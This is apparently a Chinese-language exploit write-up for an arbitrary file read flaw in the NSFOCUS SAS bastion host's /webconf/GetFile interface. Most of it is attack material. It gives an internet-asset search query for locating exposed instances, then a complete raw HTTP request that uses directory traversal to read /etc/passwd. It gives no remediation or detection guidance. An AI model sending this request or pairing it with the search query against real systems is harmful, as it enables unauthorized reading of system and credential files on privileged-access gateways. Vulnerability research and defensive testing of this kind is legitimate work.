绿盟SAS堡垒机GetFile任意文件读取漏洞
一、漏洞简介
绿盟堡垒机后台存在任意文件读取漏洞，攻击者可通过/webconf/GetFile 接口进行任意文件读取。
二、影响版本
- 绿盟SAS堡垒机
三、资产测绘
- hunter
app.name="NSFOCUS 绿盟 SAS"
- 登录页面
四、漏洞复现
GET /webconf/GetFile/index?path=../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx
Cookie: PHPSESSID=4d44c08bdf4492b7877f79ffa7122d3c
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close